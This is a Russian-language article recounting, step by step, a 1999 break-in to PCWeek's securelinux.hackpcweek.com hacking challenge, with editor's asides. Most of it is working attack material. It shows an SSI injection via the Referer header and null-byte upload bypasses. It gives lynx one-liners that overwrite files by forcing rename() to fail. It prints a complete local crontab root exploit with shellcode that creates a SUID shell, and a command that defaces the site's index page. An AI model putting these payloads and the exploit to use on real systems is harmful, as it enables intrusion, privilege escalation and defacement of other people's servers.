Документ из базы библиотеки компьютерной литературы 'Roga и Копыта' - www.roga.by.ru

 

ХРОНИКИ УСПЕШНОГО ВЗЛОМА

В данной статье мы рассмотрим успешную попытку атаки на машину securelinux.hackpcweek.com. PCWeek проводит тестирование компьютерных систем весьма просты способом - сотрудники берут компьютер, подключают его к интернету, и публикуют заявление с просьбой взломать данный сервер ( в нашем случае нужно было найти файл secret). Естественно, за вознаграждение. Естественно, сразу же после подключения к интернету у бедного компьютера начинается не жизнь, а мучение - толпы хищных до денег и славы хакеров, ламеров, юзеров начинают ломиться в систему, стремясь утащить злополучный файл. Но действительно что-то сделать удается далеко не всем, так как все уязвимости, известные широкой общественности, устранены, система стоит за firewall т.д. Короче, script-kiddies отдыхают. Может быть, прочитав данную статью, вы постигнете логику действий настоящего хакера - человека, которые не лазит по публичным архивам эксплоитов, пробуя их один за другим или задавая вопросы в форумах. Этот человек просто начал думать, размышлять и сопоставлять, в итоге добившись своей цели. Итак - подробное описание проникновения на машину securelinux.hackpcweek.com со всеми файлами, разъяснениями и примечаниями rb, попытавшегося еще более упростить и без того довольно простое повествование :)

Рассказывает сам взломщик:

Сначала я попытался собрать всю доступную информацию о сервере, открытых портах, службах, в общем, стандартная разведка. Однако машина сидела за высокой огненной стеной и лишь немногие порты высовывались в бойницы. Да и те были закрыты для меня tcp-wrapperами (rb - tcp-wrapper - программа, которой передается управление после соединения с каким-то портом, на котором запущена служба. То есть эта программа стоит между вами и службой. Основываясь на заданных правилах она или пропустит вас дальше к общению непосредственно с демоном либо отключит )

Оставалась одна возможность - порт, через который этот сервер вещал на весь мир о своей неприступности - HTTP AKA 80.

lemming:~# telnet securelinux.hackpcweek.com 80
Trying 208.184.64.170...
Connected to securelinux.hackpcweek.com.
Escape character is '^]'.
POST X HTTP/1.0
{- rb - это заведомо ошибочная директива,
но нам именно это и нужно.

HTTP/1.1 400 Bad Request
Date: Fri, 24 Sep 1999 23:42:15 GMT
Server: Apache/1.3.6(Unix) (Red Hat/Linux)
(...)
Connection closed by foreign host.
lemming:~#

Итак, этот сервер запущен под управление Red Hat Linux (rb - мутная ОС, скажу вам честно ). Также я узнал что на Apache работает еще и mod_perl.

По умолчанию Apache 1.3.6 идет без cgi-скриптов, но тем не менее я все равно проехался по серверу сканнером cgi-скриптов в надежде найти хоть что-то... :( хрен

Пришлось просто ползать по сайту и смотреть на его структуру. Она оказалась такой:
/
/cgi-bin
/photoads
/photoads/cgi-bin
Хоть что-то нашлось. После поиска в www я выяснил, что photoads - комерческий набор скриптов с сервера "The Home Office Online" (http://www.hoffice.com) Он стоит $149 вместе с исходным кодом на perl и позволяет пользователям закачивать на сервер свои фотографии.

У меня нашелся друг, обладающий этими скриптами я вскоре я уже исследовал код. (rb - хм.. друг .. хорошая отмазка... а не влез ли наш друг на сервер компании-производителя и не потырил ли скрипты оттуда ? ;)

Мне удалось воспользоваться скриптом /photoads/cgi-bin/env.cgi ( аналог test-cgi ) и я узнал некоторые детали о сервере, в частности то, что сервер запущен от nobody и что www-каталог расположен в /home/httpd/html.

Для начала я попытался воспользоваться SSI или mod_perl. Хотя скрипт и фильтровал большинство получаемых данных, разработчики упустили следующую возможность :

post.cgi, 36:

print "you are trying to post an AD from another URL:$ENV{'HTTP_REFERER'}\n";

Переменная $ENV{'HTTP_REFERER'} определяет URL, с которого был выполнен скрипт и является переменной окружения CGI ( _обычно_ передается браузером ), но ничего не мешает нам сымитировать запрос, встроив свою переменную.

getit.ssi :

GET /photoads/cgi-bin/post.cgi HTTP/1.0
Referer: <!--#include file="/etc/passwd"-->
Connection: Keep-Alive
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Host: securelinux.hackpcweek.com

lemming:~# cat getit.ssi | nc securelinux.hackpcweek.com

Видите ? При вызове скрипта переменной $ENV{'HTTP_REFERER'} присвоится значение

<!--#include file="/etc/passwd"-->
и наш скрипт должен вернуть следующую строку: print "you are trying to post an AD from another URL:<!--#include file="/etc/passwd"-->\n"; А эта строка, согласно директиве ssi должна встроить в возвращаемый текст содержимое файла /etc/passwd К сожалению сервер не был сконфигурирован, чтобы поддерживать ssi, так что я потратил силы попусту.

Большинство дыр в скриптах образуются при вызовах функций open(), system(), или вызовах команд, заключенных в обратные кавычки. Я начал искать эти функции.

lemming:~/photoads/cgi-bin# grep 'open.*(.*)'cgi | more

advisory.cgi: open(DARA, "$BaseDir/$DataFile");
edit.cgi: open(DATA, ">$BaseDir/$DataFile");
edit.cgi: open(MAIL, "|$mailprog -t") || die "Can't open $mailprog!\n";
photo.cgi: open(ULFD,">$write_file") || die show_upload_failed("$write_file $!");
photo.cgi: open(FILE, $filename);
(...)

Переменные $BaseDir, $mailprog и $DataFile задавались в самом скрипте и поэтому там ловить было нечего. Но вот последние две строки вселяли некоторую надежду...

photo.cgi, 132:

$write_file=$Upload_Dir.$filename;
open(ULFD,">$write_file") || die show_upload_failed ("$write_file $!");
print ULFD $UPLOAD{'FILE_CONTENT'};
close(ULFD);


То есть если мы сможем модифицировать переменную $write_file, мы сможем записать в любой файл в системе свои данные. Переменная $write_file определяется таким образом:

$write_file=$Upload_Dir.$filename;

$Upload_Dir задается в самом скрипте, а вот откуда берется $filename ?

photo.cgi, 226:

if (!$UPLOAD{'FILE_NAME'} ) {show_file_not_found ();} $filename=lc($UPLOAD{'FILE_NAME'}); $filename=~ s/.+\\([^\\]+)$|.+\/([^\/]+)$/\1/; if ($filename=~m/gif/) { $type='.gif'; } elsif ($filename=~m/jpg/) { $type='.jpg'; } else { {&Not_Valid_Image} } Итак, переменная вытаскивается из $UPLOAD{'FILE_NAME'} ( а точнее из переданных скриптом переменных). Как видим, регулярное выражение не позволит нам воспользоваться примитивными трюками типа "../../../../../../../../../../etc/passwd" так как все лишние знаки будут аннулированы.

К тому же имя файла должно иметь расширение gif или jpg, чтобы пройти проверку. Эту проблему удалось решить с помощью статьи rfp, опубликованной в 55 номере Phrack. ( rb - если лень читать стать ( а зря), просто усвойте - index.html%00.gif пройдет эту проверку, но в переменной $filename окажется index.html. Perl получит значение index.html%00.gif, обработает его и передаст ядру, подпрограммы которого просто проигнорируют все, что находится за "нулевым байтом" )

Для работы со скриптом, используя %00, используйте только метод GET.

Но создатели скрипта подготовили еще несколько ловушек. В photo.cgi, 256 осуществляется проверка содержимого файла на предмет соответствия стандартам графических файлов. Если присланный файл не соответствует заданным критериям, он уничтожается.

Вот как осуществляется проверка gif файлов:

if (substr ($filename, -4, 4 ) eq ".gif" ) { open (FILE, $filename); my $head; my $gHeadFmt = "A6vvb8CC"; my $pictDescFmt = "vvvvb8"; read FILE, $head, 13; my $GIF8xa, $width,$height, my $resFlags, my $bgColor, my $w2h ) = unpack $gHeadFtm, $head; close FILE; $PhotoWidth = $width; $PhotoHeight = $height; $PhotoSize = $size; return; } photo.cgi, 140: if (($PhotoWidth eq "") || ($PhotoWidth > '700')) { {&Not_Valid_Image} } if ($PhotoWidth > $ImgWidth || $PhotoHeight > $ImgHeight) { {&Height_Width} } Итак, нам нужно сделать $PhotoWidth меньше 700, отличное от "" и меньше чем ImgWidth (350). $PhotoHeight также должно быть меньше 250.

Давайте попробуем сделать $PhotoWidth==$PhotoHeight==0. Для этого нам нужно будет установить 6 и 9 байт передаваемого файла в ASCII 0 (NUL).

Следующая проблема: chmod 0755,$upload_Dir.$filename; $newname=$AdNum; rename("$write_file", "$Upload_Dir/$newname"); Show_Upload_Success($write_file); %#$%$# !!!!
После стольких мук файл перемещается совсем не туда, куда нам нужно.

К тому же $AdNum переменная может содержать только цифры - $UPLOAD{'AdNum'} =~tr/0-9//cd; $UPLOAD{'PASSWORD'}=~tr/a-zA-Z0-9!+&#%$@*//cd; $AdNum=$UPLOAD{'AdNum'}; Что нам остается делать ?

Функция rename() ожидает два параметра - старое имя файла и новое имя файл... хотя... тут нет проверки на ошибку, и если она не сработает, программа просто пойдет дальше. Как бы нам заставить ее отказать ?

Ядро Линукса имеет ограничение на длину имени файла (1024 символа), и если мы попросим rename переименовать наш файл во что-то большее, чем 1024 байта, мы добьемся желаемого. Наша следующая цель - передать _очень_большой_Ad номер.

Следующая проблема - скрипт позволяет использовать только те номера, которые уже имеются в базе данных и мне совсем не хочется регистрировать 10 в степени 1024 пользователей, чтобы воспользоваться этим числом. Опять тупик ?

К счастью, неправильная проверка входных данный привела к тому, что мы можем передать в AdNum любое число с условием, что перед ним имеется символ возврата каретки.

Вот пример эксплоита:

#!/bin/sh
lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin
/edit.cgi?AdNum=31337&action=done&Country=lala&City=lele&
State=a&EMail=lala@hjere.com&Name=%0a
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111
&Phone=11&Subject=la&password=0&CityStPhone=0&Renewed=0"
В итоге мы получаем возможность создавать/перезаписывать фалы в системе с правами nobody и с любым содержимым ( единственное условие - для прохождения gif-теста не забывать про 6 и 9 нулевые байты). Вот пример готовой программы для этого:
#!/bin/sh
lynx "http://securelinux.hackpcweek.com/photoads/cgi-bin/photo.cgi?
file=a.jpg&AdNum=11111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111
&DataFile=1&Password=0&FILE_CONTENT=%47%49%46%38%39%61
%c8%00%58%00%e6%00%00%0aJfs%20%20was%20Here%20-Details
%20in%20the%20file%20called%20jfs(something)%20in%20the%20
photoads%20directory%0a&FILE_NAME=/lala/\../../../../..
/../../home/httpd/html/index.html%00.gif"
Как видите, все условия соблюдены - имеется Poison Null Byte для проверки на gifовость, 6 и 9 байты равны нулю ( для того же ) и огромный номер для предотвращения перемещения файла.

Однако перезаписать index.html не получилось - возможно владельцем этого файла был root.

Ну что же.. если у нас хоть что-то получилось, значит есть еще и другие лазейки. Я попробовал перезаписать cgi скрипт собственными данными и попробовать запустить его, чтобы он нашел заветный secret файл.

Шелл-скрипт для выполнения такой задачи выглядит так:

#!/bin/sh
echo "Content-type: text/html"
find / "*secret*" -print


И еще мы должны иметь 6, 7, 8 и 9 байты равными нулю. Но #!/bi\00\00\00\00n/sh не катит, так как ядро пытается выполнить #!/bi и обламывается... А насколько мне известно, до 6 байты мы никак не уместим путь ни к одному из известных шеллов.

Однако, стандарт скомпилированных выполняемых ELF файлов как раз и подразумевает, что эти самые байты должны быть нулевыми, то етсь нам остается написать программу на каком-нибудь языке, скомпилировать ее, закачать и выполнить.

Мы должны кодировать нашу программу, чтобы ее понял метод GET, и у нас имеется еще одно существенное ограничение - длина URL. Для Apache она составляет 8190 байт, из них 1024 уже уходит на длинный номер, так что мы остаемся где-то с 7000 байт на программу.

Вот программа на c, выполняющая то что нам нужно: #include<stdio.h> main () { printf("Content-type: text/html\n\n\r"); fflush(stdout); execpl("/usr/bin/find","find","/",0); } Пoсле компилирования она занимает 4280 байт, а после кодирования 7602... слишком много...

На этом этапе обычное самообладание мне отказало и я, вооружившись joe, залез прямо с текст скомпилированной программы и начал стирать сточка за строчкой. В итоге я получил ( да простят меня разработчики стандарта ELF ) рабочий(!) файл нужного размера.

Я забросил этот файл на сервер, выполнил его и получил полный листинг файлов в системе. Но secret среди них не было.

Кто я был бы, если бы остановился теперь.

Пора прекратить играть в игрушки и стать root. Я нашел действующий локальный crontab exploit и с его помощью создал в /tmp SUID шелл, который впоследствии позволит любому пользователю выполнять команды с правами администратора.

Вот этот эксплоит:

#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <unistd.h> #include <pwd.h> char shellcode[] = "\xeb\x40\x5e\x89\x76\x0c\x31" "\xc0\x89\x46\x0b\x89\xf3\xeb" "\x27w00w00:Ifwewerehackerswe" "downyourdumbass\x8d\x4e" "\x0c\x31\xd2\x89\x56\x16\xb0" "\x0b\xcd\x80\xe8\xbb\xff\xff" "\xff/tmp/w00w00"; int main(int argc,char *argv[]) { FILE *cfile,*tmpfile; struct stat sbuf; int x; chdir("/tmp"); cfile = fopen("/tmp/cronny","a+"); tmpfile = fopen("/tmp/w00w00","a+"); // ,S_IXUSR|S_IXGRP|S_IXOTH); fprintf(cfile,"MAILTO="); for(x=0;x<96;x++) fprintf(cfile,"w00w00 "); fprintf(cfile,"%s",shellcode); fprintf(cfile,"\n* * * * * date\n"); fflush(cfile); fprintf(tmpfile,"#!/bin/sh\ncp" " /bin/bash /tmp/.bs\nchmod 4755 /tmp/.bs\n"); fflush(tmpfile); fclose(cfile),fclose(tmpfile); chmod("/tmp/w00w00",S_IXUSR|S_IXGRP|S_IXOTH); execl("/usr/bin/crontab","crontab","/tmp/cronny",(char *)0); } Я скомпилировал программу, закачал ее на сервер, выполнил и получил шелл с правами рута. Дело было за малым - закачать в /tmp/xx модифицированную заглавную страничку, потом выполнить программу, которая делала последний "финт" :

execpl("/tmp/.bs","ls","-c","cp /tmp/xx /home/httpd/html/index.html",0);

На этом сказка о превращении слабого лемминга в крутого администратора securelinux.hackpcweek.com подошла к концу.

На все это ушло порядка 20 часов.

(C) Jfs - !H'99

Последнее напутствие подрастающему поколению - 20 часов не сидения в чате и потрясания нюкерами и не 20 часов доставания по асе людей, кто разбирается немногим лучше вас, а 20 часов _шевеления мозгами_ ... хотя.. у кого их нет ... это все бестолку.